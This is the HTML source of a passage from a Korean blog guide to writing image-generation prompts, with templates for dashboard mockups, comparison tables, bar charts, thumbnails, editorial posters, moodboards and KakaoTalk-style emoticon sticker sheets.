this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;941&quot; height=&quot;1672&quot;/&gt;&lt;/span&gt;&lt;/div&gt;
  &lt;figcaption&gt;thinking모델 5.5 / pro 모델 5.5&lt;/figcaption&gt;
&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;웹 대시보드 목업:&lt;/b&gt;&lt;/p&gt;
&lt;pre class=&quot;bash&quot; style=&quot;background: #1e1e1e; color: #d4d4d4; font-family: 'Fira Code','Consolas',monospace; padding: 16px 20px; border-radius: 8px; overflow-x: auto; margin: 15px 0;&quot; data-ke-language=&quot;bash&quot;&gt;&lt;code&gt;SaaS 대시보드 웹 UI 목업 이미지 만들어줘.

해상도: 1440px 와이드스크린
좌측 사이드바: 네비게이션 메뉴 5개 [대시보드 / 사용자 / 매출 / 분석 / 설정]
중앙 상단: KPI 카드 4개 가로 배치 [방문자 / 전환율 / 매출 / 활성사용자]
중앙 하단: 라인 차트 1개(월별 추이)
테마: 다크
포인트 컬러: 퍼플
한국어 레이블&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;ex)&lt;/p&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1672&quot; data-origin-height=&quot;941&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bpebEK/dJMcafzFioM/QG95iy8LM3tCjkgxPmhONK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bpebEK/dJMcafzFioM/QG95iy8LM3tCjkgxPmhONK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bpebEK/dJMcafzFioM/QG95iy8LM3tCjkgxPmhONK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbpebEK%2FdJMcafzFioM%2FQG95iy8LM3tCjkgxPmhONK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1672&quot; height=&quot;941&quot; data-origin-width=&quot;1672&quot; data-origin-height=&quot;941&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1672&quot; data-origin-height=&quot;941&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/2F3oU/dJMcabcUKtE/EYCflo21JsYNzIjEFpy6Sk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/2F3oU/dJMcabcUKtE/EYCflo21JsYNzIjEFpy6Sk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/2F3oU/dJMcabcUKtE/EYCflo21JsYNzIjEFpy6Sk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F2F3oU%2FdJMcabcUKtE%2FEYCflo21JsYNzIjEFpy6Sk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1672&quot; height=&quot;941&quot; data-origin-width=&quot;1672&quot; data-origin-height=&quot;941&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;디바이스 프레임을 빼면 결과물이 이미지인지 화면인지 모호해진다. 명시적으로 &quot;iPhone 14 Pro 프레임 안에&quot;, &quot;1440px 데스크톱 브라우저&quot;라고 못 박아두면 모델이 알아서 베젤과 상태바까지 그려준다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;3-5. 비교표 / 데이터 시각화&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;언제 쓰는가.&lt;/b&gt; 도구나 서비스를 한 화면에서 비교할 때다. 블로그 비교 글, 의사결정 자료, 트윗에 끼우는 요약 카드에 잘 맞는다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;프롬프트 작성 핵심 포인트:&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;padding-left: 20px; margin: 10px 0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;비교 항목과 행/열 구조를 정확히 적는다&lt;/li&gt;
&lt;li&gt;헤더 행 강조 색상을 지정한다&lt;/li&gt;
&lt;li&gt;셀 표시 방식(텍스트, 체크/엑스 마크, 별점 등)을 정한다&lt;/li&gt;
&lt;/ul&gt;
&lt;pre class=&quot;bash&quot; style=&quot;background: #1e1e1e; color: #d4d4d4; font-family: 'Fira Code','Consolas',monospace; padding: 16px 20px; border-radius: 8px; overflow-x: auto; margin: 15px 0;&quot; data-ke-language=&quot;bash&quot;&gt;&lt;code&gt;AI 코딩 도구 3가지 비교표 이미지 만들어줘.

배경: 흰색
표 구조: 4행 3열
열 헤더: GitHub Copilot / Cursor / Claude Code (헤더 행은 짙은 네이비 배경 + 흰색 텍스트)
행 항목:
  1행: 가격
  2행: 주요 강점
  3행: 한국어 지원
  4행: 추천 사용자
셀 표시: 짧은 텍스트
홀수 행 배경: 연한 회색
폰트: 가독성 높은 산세리프
한국어&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;ex)&lt;/p&gt;
&lt;figure class=&quot;imagegridblock&quot;&gt;
  &lt;div class=&quot;image-container&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/lUU9z/dJMcadogBBj/R7k47k0Qxol78yKMC2Pv6k/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/lUU9z/dJMcadogBBj/R7k47k0Qxol78yKMC2Pv6k/img.png&quot; style=&quot;width: 49.4186%; margin-right: 10px;&quot; data-origin-width=&quot;1448&quot; data-origin-height=&quot;1086&quot; data-is-animation=&quot;false&quot; data-widthpercent=&quot;50&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/lUU9z/dJMcadogBBj/R7k47k0Qxol78yKMC2Pv6k/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FlUU9z%2FdJMcadogBBj%2FR7k47k0Qxol78yKMC2Pv6k%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1448&quot; height=&quot;1086&quot;/&gt;&lt;/span&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/Ao77f/dJMcahxtQ4r/tmUca4h9kPuS3iPPcomAyK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/Ao77f/dJMcahxtQ4r/tmUca4h9kPuS3iPPcomAyK/img.png&quot; style=&quot;width: 49.4186%;&quot; data-origin-width=&quot;1448&quot; data-origin-height=&quot;1086&quot; data-is-animation=&quot;false&quot; data-widthpercent=&quot;50&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/Ao77f/dJMcahxtQ4r/tmUca4h9kPuS3iPPcomAyK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FAo77f%2FdJMcahxtQ4r%2FtmUca4h9kPuS3iPPcomAyK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1448&quot; height=&quot;1086&quot;/&gt;&lt;/span&gt;&lt;/div&gt;
  &lt;figcaption&gt;thinking모델 5.5 / pro 모델 5.5&lt;/figcaption&gt;
&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;막대 차트 스타일:&lt;/b&gt;&lt;/p&gt;
&lt;pre class=&quot;bash&quot; style=&quot;background: #1e1e1e; color: #d4d4d4; font-family: 'Fira Code','Consolas',monospace; padding: 16px 20px; border-radius: 8px; overflow-x: auto; margin: 15px 0;&quot; data-ke-language=&quot;bash&quot;&gt;&lt;code&gt;2025-2026년 주요 AI 모델 출시 타임라인 가로 바 차트 이미지 만들어줘.

배경: 흰색
좌측: 모델명 6개 세로 정렬
우측: 각 모델의 출시 시점 가로 바
색상: 모델마다 다른 파스텔 톤
상단: 제목 [AI 모델 출시 타임라인 2025-2026]
하단: X축 &amp;mdash; 분기 표시(Q1 2025 ~ Q4 2026)
한국어 레이블&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;ex)&lt;/p&gt;
&lt;figure class=&quot;imagegridblock&quot;&gt;
  &lt;div class=&quot;image-container&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/rpR5d/dJMcahxtQ4v/Y6ktrJSehcaz48wfVfuqR0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/rpR5d/dJMcahxtQ4v/Y6ktrJSehcaz48wfVfuqR0/img.png&quot; style=&quot;width: 49.4186%; margin-right: 10px;&quot; data-origin-width=&quot;1672&quot; data-origin-height=&quot;941&quot; data-is-animation=&quot;false&quot; data-widthpercent=&quot;50&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/rpR5d/dJMcahxtQ4v/Y6ktrJSehcaz48wfVfuqR0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FrpR5d%2FdJMcahxtQ4v%2FY6ktrJSehcaz48wfVfuqR0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1672&quot; height=&quot;941&quot;/&gt;&lt;/span&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bg50D2/dJMcahEcWUO/ScBFqNHEfrtPX9DcsGkjKk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bg50D2/dJMcahEcWUO/ScBFqNHEfrtPX9DcsGkjKk/img.png&quot; style=&quot;width: 49.4186%;&quot; data-origin-width=&quot;1672&quot; data-origin-height=&quot;941&quot; data-is-animation=&quot;false&quot; data-widthpercent=&quot;50&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bg50D2/dJMcahEcWUO/ScBFqNHEfrtPX9DcsGkjKk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fbg50D2%2FdJMcahEcWUO%2FScBFqNHEfrtPX9DcsGkjKk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1672&quot; height=&quot;941&quot;/&gt;&lt;/span&gt;&lt;/div&gt;
  &lt;figcaption&gt;thinking모델 5.5 / pro 모델 5.5&lt;/figcaption&gt;
&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;표 형태 이미지에서 가장 자주 깨지는 부분이 셀 안의 텍스트다. 한 셀에 긴 문장을 넣으면 줄바꿈이 어색해진다. &lt;b&gt;셀 안에는 짧은 키워드, 별점, 체크 마크 위주&lt;/b&gt;로 채우고, 긴 설명은 표 아래 별도 영역에 두는 편이 안정적이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;3-6. 블로그 썸네일 / 브랜딩&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;언제 쓰는가.&lt;/b&gt; 블로그 헤더, 유튜브 썸네일, 채널 아트 등 시각적 임팩트가 필요한 자리에 쓴다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;프롬프트 작성 핵심 포인트:&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;padding-left: 20px; margin: 10px 0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;비율을 매체별로 맞춘다(블로그 썸네일 16:9, 유튜브 채널 아트 2560x1440)&lt;/li&gt;
&lt;li&gt;제목 텍스트를 정확히 적어준다&lt;/li&gt;
&lt;li&gt;분위기 키워드를 명시한다(전문적, 캐주얼, 미니멀, 빈티지)&lt;/li&gt;
&lt;/ul&gt;
&lt;pre class=&quot;bash&quot; style=&quot;background: #1e1e1e; color: #d4d4d4; font-family: 'Fira Code','Consolas',monospace; padding: 16px 20px; border-radius: 8px; overflow-x: auto; margin: 15px 0;&quot; data-ke-language=&quot;bash&quot;&gt;&lt;code&gt;기술 블로그 썸네일 이미지 만들어줘.

비율: 16:9
배경: 짙은 네이비에서 퍼플로 이어지는 그라디언트
중앙: 큰 제목 텍스트 [GPT Image 2 완전 가이드] (굵은 산세리프, 한국어)
중앙 하단: 부제목 [일반 사용자를 위한 프롬프트 가이드] (작게)
좌측 상단: 워터마크 [goddaehee.tistory.com] (얇은 텍스트)
분위기: 전문적, 모던, 약간의 광택감&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;ex)&lt;/p&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1672&quot; data-origin-height=&quot;941&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/IxYdB/dJMcaiJRF7n/2ZoijfrIKvFMsNpvOEfPA1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/IxYdB/dJMcaiJRF7n/2ZoijfrIKvFMsNpvOEfPA1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/IxYdB/dJMcaiJRF7n/2ZoijfrIKvFMsNpvOEfPA1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FIxYdB%2FdJMcaiJRF7n%2F2ZoijfrIKvFMsNpvOEfPA1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1672&quot; height=&quot;941&quot; data-origin-width=&quot;1672&quot; data-origin-height=&quot;941&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1672&quot; data-origin-height=&quot;941&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/M9eks/dJMcabYkucB/5iWd1L66jzHHHx3XdKzuc1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/M9eks/dJMcabYkucB/5iWd1L66jzHHHx3XdKzuc1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/M9eks/dJMcabYkucB/5iWd1L66jzHHHx3XdKzuc1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FM9eks%2FdJMcabYkucB%2F5iWd1L66jzHHHx3XdKzuc1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1672&quot; height=&quot;941&quot; data-origin-width=&quot;1672&quot; data-origin-height=&quot;941&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;에디토리얼 커버 포스터.&lt;/b&gt; 썸네일보다 한 단계 더 분위기 중심인 포맷이다. 블로그 대표 이미지, 브런치 커버, 세미나 공지, 전자책 표지처럼 &quot;한 장으로 첫인상을 잡는&quot; 상황에 잘 맞는다. 텍스트는 짧게, 오브제는 크게, 여백은 넓게 가져가는 편이 좋다.&lt;/p&gt;
&lt;pre class=&quot;bash&quot; style=&quot;background: #1e1e1e; color: #d4d4d4; font-family: 'Fira Code','Consolas',monospace; padding: 16px 20px; border-radius: 8px; overflow-x: auto; margin: 15px 0;&quot; data-ke-language=&quot;bash&quot;&gt;&lt;code&gt;[주제]를 소개하는 에디토리얼 커버 포스터를 만들어줘.

용도: [블로그 대표 이미지 / 브런치 커버 / 세미나 공지]
비율: 4:5 세로형

구성:
- 화면 중심에 핵심 오브제 1개 또는 인물 1명
- 큰 제목 1개
- 작은 보조 문구 1줄
- 넓은 여백
- 명확한 타이포 위계

분위기:
- 하이엔드 매거진 표지 느낌
- 종이 질감이나 필름 그레인 약하게
- 채도는 절제, 포인트 컬러만 강하게

중요:
- 긴 문장은 넣지 말 것
- 스톡 이미지 광고처럼 보이지 말 것
- 세련된 현대 에디토리얼 커버처럼 보여줄 것&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;ex)&lt;/p&gt;
&lt;figure class=&quot;imagegridblock&quot;&gt;
  &lt;div class=&quot;image-container&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/mCKTZ/dJMcadogCpO/itbpKKcPCMQ2n3V1ETBMeK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/mCKTZ/dJMcadogCpO/itbpKKcPCMQ2n3V1ETBMeK/img.png&quot; style=&quot;width: 49.4186%; margin-right: 10px;&quot; data-origin-width=&quot;1122&quot; data-origin-height=&quot;1402&quot; data-is-animation=&quot;false&quot; data-widthpercent=&quot;50&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/mCKTZ/dJMcadogCpO/itbpKKcPCMQ2n3V1ETBMeK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FmCKTZ%2FdJMcadogCpO%2FitbpKKcPCMQ2n3V1ETBMeK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1122&quot; height=&quot;1402&quot;/&gt;&lt;/span&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/xKJfR/dJMcacwbe43/0zQD9zszh8RwZLNkYzZvDk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/xKJfR/dJMcacwbe43/0zQD9zszh8RwZLNkYzZvDk/img.png&quot; style=&quot;width: 49.4186%;&quot; data-origin-width=&quot;1122&quot; data-origin-height=&quot;1402&quot; data-is-animation=&quot;false&quot; data-widthpercent=&quot;50&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/xKJfR/dJMcacwbe43/0zQD9zszh8RwZLNkYzZvDk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FxKJfR%2FdJMcacwbe43%2F0zQD9zszh8RwZLNkYzZvDk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1122&quot; height=&quot;1402&quot;/&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;무드보드 / 소재 팔레트 시트.&lt;/b&gt; 이건 일반 사용자도 가장 쉽게 &quot;전문가처럼 보이는 결과물&quot;을 얻는 포맷이다. 브랜딩, 인테리어, 패션, 유튜브 채널 리뉴얼처럼 취향과 방향성을 먼저 맞춰야 할 때 특히 강하다.&lt;/p&gt;
&lt;pre class=&quot;bash&quot; style=&quot;background: #1e1e1e; color: #d4d4d4; font-family: 'Fira Code','Consolas',monospace; padding: 16px 20px; border-radius: 8px; overflow-x: auto; margin: 15px 0;&quot; data-ke-language=&quot;bash&quot;&gt;&lt;code&gt;[프로젝트 주제]를 위한 무드보드 시트를 만들어줘.

예: [카페 브랜딩], [침실 인테리어], [가을 룩북], [유튜브 채널 리뉴얼]
비율: A4 세로형 또는 4:5

구성:
- 6~9개의 이미지 조각을 감각적으로 배치
- 컬러 스와치 4~6개
- 소재/무드 키워드 3~5개만 짧게 표기

톤앤매너:
- [차분한 프렌치 에디토리얼 / 따뜻한 필름 무드 / 미래적이지만 절제된 미감]
- 메인 컬러는 [색상 조합]
- 재질감은 [리넨 / 크롬 / 유광 종이 / 원목 / 유리]

중요:
- 핀터레스트 스크랩처럼 산만하지 말 것
- 하나의 브랜드 방향서처럼 정리된 느낌으로
- 텍스트보다 색감과 질감 중심으로 보여줄 것&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;ex)&lt;/p&gt;
&lt;figure class=&quot;imagegridblock&quot;&gt;
  &lt;div class=&quot;image-container&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/rgBXh/dJMcahqIpr3/AfTG0JDkKrwL8VMlYfyk5k/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/rgBXh/dJMcahqIpr3/AfTG0JDkKrwL8VMlYfyk5k/img.png&quot; style=&quot;width: 49.4186%; margin-right: 10px;&quot; data-origin-width=&quot;1672&quot; data-origin-height=&quot;941&quot; data-is-animation=&quot;false&quot; data-widthpercent=&quot;50&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/rgBXh/dJMcahqIpr3/AfTG0JDkKrwL8VMlYfyk5k/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FrgBXh%2FdJMcahqIpr3%2FAfTG0JDkKrwL8VMlYfyk5k%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1672&quot; height=&quot;941&quot;/&gt;&lt;/span&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cuMG0S/dJMcabcUKB6/01g4Z8NZkVjRmt4UaoVnQk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cuMG0S/dJMcabcUKB6/01g4Z8NZkVjRmt4UaoVnQk/img.png&quot; style=&quot;width: 49.4186%;&quot; data-origin-width=&quot;1672&quot; data-origin-height=&quot;941&quot; data-is-animation=&quot;false&quot; data-widthpercent=&quot;50&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cuMG0S/dJMcabcUKB6/01g4Z8NZkVjRmt4UaoVnQk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcuMG0S%2FdJMcabcUKB6%2F01g4Z8NZkVjRmt4UaoVnQk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1672&quot; height=&quot;941&quot;/&gt;&lt;/span&gt;&lt;/div&gt;
  &lt;figcaption&gt;thinking모델 5.5 / pro 모델 5.5&lt;/figcaption&gt;
&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;브랜드 로고가 들어간 썸네일은 까다롭다. 특정 회사 로고(애플, 구글, OpenAI 등)를 그대로 그려달라고 하면 거절될 가능성이 있다. &lt;b&gt;유사 스타일의 추상 아이콘&lt;/b&gt;으로 우회하거나, 로고 자리는 비워두고 실제 로고는 사후 편집기에서 합치는 방식이 무난하다.&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;3-7. 개인화 이모티콘 스티커 시트 (카카오톡 / WhatsApp 스타일)&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;언제 쓰는가.&lt;/b&gt; 본인 또는 가족&amp;middot;지인 사진을 카카오톡 이모티콘 스타일의 스티커 시트로 변환할 때다. 단톡방용 개인 이모티콘, SNS 바이럴 콘텐츠, 유튜브 채널 굿즈 기획 초안 등 앞서 다룬 6가지 포맷과 완전히 다른 목적을 가진다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;왜 지금 유행하는가.&lt;/b&gt; 2025년 3월 25일 GPT-4o 네이티브 이미지 생성이 출시된 이후 첫 주에만 전 세계 1억 3,000만 명이 7억 장 이상의 이미지를 생성했다(&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://openai.com/index/introducing-4o-image-generation/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;OpenAI 발표&lt;/a&gt;). 지브리 스타일 변환이 먼저 바이럴된 뒤, 한국 커뮤니티에서는 카카오톡 이모티콘 생성으로 트렌드가 이동했다. 2025년 4월에는 국내 언론 보도(&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://www.inews24.com/view/1830570&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;아이뉴스24, 2025-04-03&lt;/a&gt;)가 나올 정도로 화제가 됐다. 규모를 가늠할 수 있는 수치가 있다. 카카오톡 이모티콘 시장은 2024년 말 기준 약 1조 2,000억 원, 누적 발신량은 2,800억 건에 달한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;기존 AI 사진 변환 서비스와 무엇이 다른가.&lt;/b&gt; 2022년 Lensa AI '매직 아바타'가 바이럴됐을 때는 사진 10~20장을 올리고 며칠 기다려야 했고, 결과물을 수정할 수 없었다. ChatGPT는 사진 1장이면 충분하고, &quot;눈을 더 크게 해줘&quot;, &quot;표정을 더 강하게 해줘&quot;처럼 대화로 즉시 수정된다. 별도 앱 설치 없이 기존 ChatGPT 인터페이스에서 바로 가능하다는 점도 진입 장벽을 낮췄다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;커뮤니티 반응 &amp;mdash; 실제로 어떻게 쓰이고 있나.&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;padding-left: 20px; margin: 10px 0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;Threads @choi.openai: &lt;i&gt;&quot;이미지를 챗GPT에 입력하는 것만으로도 카카오톡 이모티콘이 완성된다니... 너무 놀랍네요&quot;&lt;/i&gt; &amp;mdash; 수천 개 공유&lt;/li&gt;
